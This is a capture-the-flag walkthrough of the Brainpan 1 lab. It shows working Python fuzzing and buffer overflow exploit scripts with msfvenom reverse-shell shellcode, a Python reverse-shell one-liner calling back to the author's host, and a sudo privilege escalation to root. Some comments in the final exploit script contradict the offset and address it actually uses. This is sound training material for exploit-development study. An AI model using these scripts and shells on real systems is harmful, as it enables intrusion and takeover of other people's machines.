TryHackMe Brainpan 1 Write Up and Walkthrough
Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don’t give up (or look at writeups), just try harder.
superkojiman
Overview
This is a bit of a change compared to the previous posts on this blog. The phishers have grown quiet, and I need to study. Today we will be tackling “Brainpan 1” a TryHackMe room focusing on buffer overflows. I’m currently studying for the OSCP, so this will be good practice. This machine is also on vulnhub, found here: https://www.vulnhub.com/entry/brainpan-1,51/
Enumeration
So we start off with a gold old quick port scan:
nmap -sC -sV -vv 10.10.46.203
Two Ports stand out here.
Port 9999 seems to have a network service running on it. We can connect to it with netcat and infer that this is clearly the application we will be overflowing.
nc 10.10.46.203 9999
The next port that we see seems to be serving an http server, port 10000. This is probably the application we will need to exploit in order to obtain the BrainPan server we need to reverse engineer.
We will now run go buster with the common list form SecLists on the web port to see what else we can find.
gobuster dir -u http://10.10.46.203:10000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
The first hit on our list is /bin/ so lets navigate there and see what we have.
(Spolier Alert, its the brainpan.exe application file, the same one running the sever we connected to with netcat)
The Buffer Overflow
I’m not going into grave detail here on how to exploit a buffer overflow, and how it works. That’s a book on its own. But we will be going over the steps to exploit the vulnerability, and the code I used.
Finding the Offset
The goal here is to find the offset to start writing to the EIP address. We will start with sending increasing lengths of a string as the “password” to the server. Eventually, if this server is vulnerable to buffer overflows, it will crash.
So we need a python script that will connect to the target on port 9999, receive the brainpan header asking for the password that is sent on connect, and then send our string. We then reconnect rinse and repeat until the server crashes in batches of 100 bytes, and record when it no long functions. We know that the server runs on port 9999, so we will go ahead and open this in Immunity Debugger and start fuzzing the application.
We run the following python code against the server running locally:
#!/usr/bin/env python3
import socket, time, sys
ip = "127.0.0.1"
port = 9999
timeout = 5
string = "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string)))
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Running the above code, it looks like we crashed somewhere before 600 bytes.
We can use that to generate a pattern with a metapsloit tool at least 600 bytes long that we will send to the target in order to identify the offset to EIP.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
We take that pattern, and send it to brainpan as a string to crash the program once more. We use the following python script:
#!/usr/bin/env python3
import socket, time, sys
ip = "127.0.0.1"
port = 9999
timeout = 5
string = "A" * 100
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
s.send(bytes(pattern + "\r\n", "latin-1"))
s.recv(1024)
After running the above script, we see the program crashed and note the value of EIP, 35724134
Now we will feed the value back into another metapsloit tool to get the exact offset to this address.
(Spolier Alert, the offset is 524)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 600 -q 35724134
Great, we got the offset, Just to make sure, lets test it by sending 524 “A”s to the target, and then 4 “B”s. If our offset is correct, EIP should be filled with the hex value of “B” (42) with the exact 4 bytes at the end.
We will use the following python code to verify:
#!/usr/bin/env python3
import socket, time, sys
ip = "127.0.0.1"
port = 9999
timeout = 5
string = "A" * 524 + "B" * 4
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
Once ran, we see our 4 “B”s made it right into EIP, which means we have a perfect offset. Next we need to determine the “bad chars” that we won’t be able to use in our shell code.
Finding bad Chars with Mona
We will be using mona to locate bad chars, as well as find a suitable module to use for the next section.
Mona can be found here: https://github.com/corelan/mona/blob/master/mona.py
It needs to be saved to your pycommands folder within the Immunity Debugger Install folder.
First we set the working folder within immunity ( You will need to do this every restart)
!mona config -set workingfolder c:\mona\%p
Next we will generate a byte array for comparison, leaving out \0x00 by default
!mona bytearray -b "\x00"
Now after our offset, and EIP overwite, we will send a byte array of every character (besides \x00) to the server. We will then compare them to determine if there was any memory corruption, and see what bytes might need to be removed. The python script we send over is this:
#!/usr/bin/env python3
import socket, time, sys
ip = "127.0.0.1"
port = 9999
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
timeout = 5
string = "A" * 524 + "B" * 4 + badchars
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
Now Brainpan should be crashed. We will use mona once again to compare the memory and see if we sent over any bad chars, feeding it the ESP Address
!mona compare -f C:\mona\brainpan\bytearray.bin -a 0031F8D0
Amazingly, there was no memory corruption, and it looks like we got the go ahead to find a suitable module for our jmp/shellcode.
Finding A Good JMP Address
Now we will simply issue the following command to find usable addresses that we can use for our shellcode:
!mona jmp -r esp -cpb "\x00"
We only found 1 suitable pointer to use, 0x311712f3
Generating Shellcode, and Exploiting the BufferOverflow
Now it’s time for all of our hard work to pay off. We will first generate the shellcode we will embed and send to our target. The application is an “exe” so we know its windows. We will use msfvenom to create the shellcode by feeding it a reverse port and IP address to connect back to (ours), as well as any bad chars we may have found earlier.
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.44.149 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
We will now construct what we hope to be our final python script, and direct it to the vulnerable server. We will write “A”s to the buffer until our EIP value. Our EIP value will be the pointer address we found in the previous section. (This will need to be backwards due to Little Endian needing that way in assembly) Next, we will need to send a NOP Sled to smooth things out, and finally our shell code. The final python code will look like this:
import socket
#Notes
#Holds the address of the EIP address after a pattern is used.
#temp_EIP_pattern: 76413176
#The ammount of bytes that crashed the program after the fuzzing.
#Crashed @: 2200
#The length we chose to send the pattern
#pattern_length = 2200
#The offset found after using the pattern and doing the calculation
#Offset = 2012
#The Bad Chars found after comparing the mona binary dump with the one sent from python
#Bad Chars =00 a9 aa cd ce d4 d5
#Bad chars confirmed:
#"\x00\xa9\xcd\xd4"
#The Address we will be using to replace the return address with
#Address=62501203
ip = "10.10.46.203"
port = 9999
payload = (
"\xb8\x46\x3b\x45\xf4\xda\xc5\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x31\x45\x12\x83\xc5\x04\x03\x03\x35\xa7\x01\x77\xa1\xa5"
"\xea\x87\x32\xca\x63\x62\x03\xca\x10\xe7\x34\xfa\x53\xa5\xb8"
"\x71\x31\x5d\x4a\xf7\x9e\x52\xfb\xb2\xf8\x5d\xfc\xef\x39\xfc"
"\x7e\xf2\x6d\xde\xbf\x3d\x60\x1f\x87\x20\x89\x4d\x50\x2e\x3c"
"\x61\xd5\x7a\xfd\x0a\xa5\x6b\x85\xef\x7e\x8d\xa4\xbe\xf5\xd4"
"\x66\x41\xd9\x6c\x2f\x59\x3e\x48\xf9\xd2\xf4\x26\xf8\x32\xc5"
"\xc7\x57\x7b\xe9\x35\xa9\xbc\xce\xa5\xdc\xb4\x2c\x5b\xe7\x03"
"\x4e\x87\x62\x97\xe8\x4c\xd4\x73\x08\x80\x83\xf0\x06\x6d\xc7"
"\x5e\x0b\x70\x04\xd5\x37\xf9\xab\x39\xbe\xb9\x8f\x9d\x9a\x1a"
"\xb1\x84\x46\xcc\xce\xd6\x28\xb1\x6a\x9d\xc5\xa6\x06\xfc\x81"
"\x0b\x2b\xfe\x51\x04\x3c\x8d\x63\x8b\x96\x19\xc8\x44\x31\xde"
"\x2f\x7f\x85\x70\xce\x80\xf6\x59\x15\xd4\xa6\xf1\xbc\x55\x2d"
"\x01\x40\x80\xe2\x51\xee\x7b\x43\x01\x4e\x2c\x2b\x4b\x41\x13"
"\x4b\x74\x8b\x3c\xe6\x8f\x5c\x49\xfa\xa3\x09\x25\x06\xbb\x20"
"\xea\x8f\x5d\x28\x02\xc6\xf6\xc5\xbb\x43\x8c\x74\x43\x5e\xe9"
"\xb7\xcf\x6d\x0e\x79\x38\x1b\x1c\xee\xc8\x56\x7e\xb9\xd7\x4c"
"\x16\x25\x45\x0b\xe6\x20\x76\x84\xb1\x65\x48\xdd\x57\x98\xf3"
"\x77\x45\x61\x65\xbf\xcd\xbe\x56\x3e\xcc\x33\xe2\x64\xde\x8d"
"\xeb\x20\x8a\x41\xba\xfe\x64\x24\x14\xb1\xde\xfe\xcb\x1b\xb6"
"\x87\x27\x9c\xc0\x87\x6d\x6a\x2c\x39\xd8\x2b\x53\xf6\x8c\xbb"
"\x2c\xea\x2c\x43\xe7\xae\x4d\xa6\x2d\xdb\xe5\x7f\xa4\x66\x68"
"\x80\x13\xa4\x95\x03\x91\x55\x62\x1b\xd0\x50\x2e\x9b\x09\x29"
"\x3f\x4e\x2d\x9e\x40\x5b")
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
s.send(bytes(overflow + retn + padding + payload + "\r\n", "latin-1"))
message = s.recv(1024)
print("Done!")
except:
print("Could not connect.")
We just need to set a listen server with netcat on port 4444, run our exploit and cross our fingers.
We now have Shell and the only thing left to do is privilege escalation
Privilege Escalation
Now we need to get out of this garbage wine shell. We have a DOS prompt, which can’t do much so we will need to live off the land. If we issue the “dir” command we see the script responsible for restarting the brainpan server. We can issue “type checksrv.sh” to view the info, and see that its running a python command, witch python located in /usr//bin/python. We can use that binary to spawn a real linux shell.
We create a python file via DOS that when ran will spawn a reverse shell to port 4445 and call it “shell1.py”
echo import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.44.149",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); > shell1.py
Now we run it with python while we listen on our host on port 4445 via netcat (nc -lvp 4445)
/usr/bin/python shell1.py
Now we have a limited shell, which we can upgrade with
python -c 'import pty; pty.spawn("/bin/bash")'
Great, now we check for any binaries on the system that our user puck can run as root.
sudo -l
Wonderfull, we can use the /home/anansi/bin/anansi_util file with sudo. Upon running it , we can see a few commands it can take.
We will run “sudo /home/anansi/bin/anansi_util manual test”
The command said to specify a file, so we will go with !/bin/bash
And we now have root!